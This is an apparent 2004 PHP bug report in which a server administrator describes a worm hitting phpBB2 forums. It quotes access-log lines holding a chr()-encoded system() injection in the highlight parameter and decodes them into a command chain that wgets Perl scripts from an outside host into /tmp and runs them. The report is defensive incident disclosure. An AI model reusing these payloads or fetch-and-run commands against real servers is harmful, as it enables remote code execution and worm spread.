From: andrew at tophk dot net Operating system: Solaris 8 x86 PHP version: 4CVS-2004-12-29 (stable) PHP Bug Type: Unknown/Other Function Bug description: php worm Virus with phpBB2
Description: ------------ Problem :- I feel many Apache+PHP+phpBB2 server got php Worm Virus. My access log file show many server try to send that virus to my server. This Virus can download and run some perl program in your server folder /tmp or /var/tmp. And these would using much more CPU power. I feel not just one version php Worm Virus. I have see some C program in my /tmp. I think that back hole not just in phpBB2. Other php program may be got this back hole Apache Access Log:- p.s. the follow /forum/viewtopic.php is phpBB2 program file 66.98.142.28 - - [25/Dec/2004:17:30:03 +0800] "GET /forum/viewtopic.php?t=206&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(1! 14)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252! echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%! 252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252ech! r(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527 HTTP/1.0" 200 54016 "-" "lwp-trivial/1.41" 195.78.58.246 - - [25/Dec/2004:17:30:24 +0800] "GET /forum/viewtopic.php?t=211&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111)%252echr(1! 14)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252! echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%! 252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252ech! r(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%252e%2527 HTTP/1.0" 200 27876 "-" "lwp-trivial/1.34" Analyze Log result:- 66.98.142.28 - - [25/Dec/2004:17:30:03 +0800] "GET /forum/viewtopic.php?t=206&highlight=%2527%252esystem(..DATA..)%252e%2527 HTTP/1.0" 200 27876 "-" "lwp-trivial/1.34" ..DATA.. Content is (cd /tmp;wget www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget www.visualcoders.net/php.txt;wget www.visualcoders.net/ownz.txt;wget www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl ownz.txt;perl php.txt) That mean the Virus doing the following step:- cd /tmp; wget www.visualcoders.net/spybot.txt; wget www.visualcoders.net/worm1.txt; wget www.visualcoders.net/php.txt; wget www.visualcoders.net/ownz.txt; wget www.visualcoders.net/zone.txt; perl spybot.txt;perl worm1.txt; perl ownz.txt;perl php.txt p.s. Not just this version My Action:- Upgrade to Apache 1.3.33 No Use Upgrade to PHP Version 4.3.11-dev No Use Upgrade to phpBB 2.0.11 No Use Change Program /usr/local/bin/perl or Useful /usr/bin/perl filename to another name Change Program 'wget' to another name Useful Summary:- That virus let me know how to Hack another Apache+PHP Server. I hope this report can help your. p.s. I think that problem is not just phpBB2 Thanks !! -- Edit bug report at http://bugs.php.net/?id=31333&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31333&r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=31333&r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=31333&r=trysnapshot51 Fixed in CVS: http://bugs.php.net/fix.php?id=31333&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=31333&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=31333&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=31333&r=needscript Try newer version: http://bugs.php.net/fix.php?id=31333&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=31333&r=support Expected behavior: http://bugs.php.net/fix.php?id=31333&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=31333&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=31333&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=31333&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31333&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=31333&r=dst IIS Stability: http://bugs.php.net/fix.php?id=31333&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=31333&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=31333&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=31333&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=31333&r=mysqlcfg
